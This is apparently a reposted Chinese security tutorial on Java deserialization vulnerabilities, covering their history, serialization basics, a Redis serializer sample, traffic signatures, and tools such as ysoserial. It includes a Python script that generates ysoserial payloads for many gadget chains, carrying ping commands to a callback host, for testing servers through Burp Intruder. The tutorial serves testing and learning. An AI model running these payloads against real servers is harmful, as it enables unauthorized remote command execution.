Java反序列化

admin 2022年1月6日01:13:50评论61 views字数 3625阅读12分5秒阅读模式

Java反序列化

背景

Java反序列化漏洞最早是2015年年初AppSecCali会议上提出了漏洞利用思路,在2015年11月FoxGlove Security 安全团队才真实利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的,这个漏洞直接 可以攻击WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,在当时被称为是”2015年最被低估的漏洞”。

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有 力的数据结构类型并且实现了各种集合工具类。包括FileUpload、Betwixt、Commons Code、Commons Compress、 Commons CSV等开源工具(下面是JAVA COLLECTION 的介绍)。

Java Collection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
JAVACOLLECION是java的集合类,用于存储对象,而且长度可变,可存储不同类型的对象。JAVACOLLECTION不同的容器对数据
的存储方式不同,即数据结构不同。JAVA集合的体系框架:

collection(接口,最基本的集合)实现接口的类,集合类:

set

HashSet/TreeSet...

list

ArrayList/LinkedList...

map

vector

Java反序列化概念

在Java程序中,序列化是程序将对象转换为字节数组,反序列化即为逆过程,将客户端的字节数据转换成对象。 序列化的目的是将对象转换为可存储或传输的字节数组,实现持久化存储。
实际开发代码(部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class RedisObjectSerializer implements RedisSerializer<Object> { 
private Converter<Object, byte[]> serializer = new SerializingConverter();
private Converter<byte[], Object> deserializer = new DeserializingConverter();
static final byte[] EMPTY_ARRAY = new byte[0];
public Object deserialize(byte[] bytes) {
if (isEmpty(bytes)) {
return null; }
try {
return deserializer.convert(bytes);
} catch (Exception ex) {
throw new SerializationException("Cannot deserialize", ex);
}
}
// 序列化方法
// 如果Bytes为空,返回null
// 否则使用serializer.convert(bytes)为Object
public byte[] serialize(Object object) {
if (object == null) {
return EMPTY_ARRAY; }
try {
return serializer.convert(object);
} catch (Exception ex) { return EMPTY_ARRAY;
} }
//判断字节数组是否为空
//@param data
//@return
private boolean isEmpty(byte[] data) {
return (data == null || data.length == 0);
}
}

Java反序列化漏洞原理

1
2
3
4
间接或直接暴露反序列化API,导致用户操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码。特点:
1.aced0005是java序列化内容的特征,如果经过base64编码,那么相对应的是rO0AB。
2.数据包中出现"sr类名"
3.某些反序列化数据的content-type为application/x-serialization

如何检测Java反序列化

测试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
import os import base64
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"') result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

将脚本生成的文件加载至Burpsuit进行Intruder,服务器端执行tcpdump icmp查看是否有命令执行成功。

测试工具

ysoserial 是反序列化生成payload的工具。
Java-Deserialization-Scanner Burpsuit 插件(Burp Pro 插件商店可直接安装),识别流量,主动被动探测。

https://www.ol4three.com/2020/09/12/WEB/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/freddy Burpsuit 插件(Burp Pro 插件商店可直接安装)。

ysoserial工具学习

java动态代理

1
2
3
4
5
6
7
8
9

代理委托类和代理类

静态代理和动态代理静态代理,委托类和代理类同时实现一个接口,两者通过聚合实现,代理类需要有一个委托类的引用。

动态代理是通过在委托类和代理类之间设置一个中介类,中介类实现InvokeHandler接口,作为调用处理器拦截对代理类方法
的调用.

静态代理和动态代理:

参考资料:

[Java Proxy和CGLIB 动态代理原理](Java Proxy 和 CGLIB 动态代理原理 https://www.ol4three.com/2020/09/12/WEB/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/Java动态代理)

Java 动态代理

Java反射机制

参考资料

深入解析Java反射(1)-基础

Jboss 反序列化漏洞利用实例

确定jboss应用

FROM :ol4three.com | Author:ol4three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:13:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java反序列化http://cn-sec.com/archives/721495.html

发表评论

匿名网友 填写信息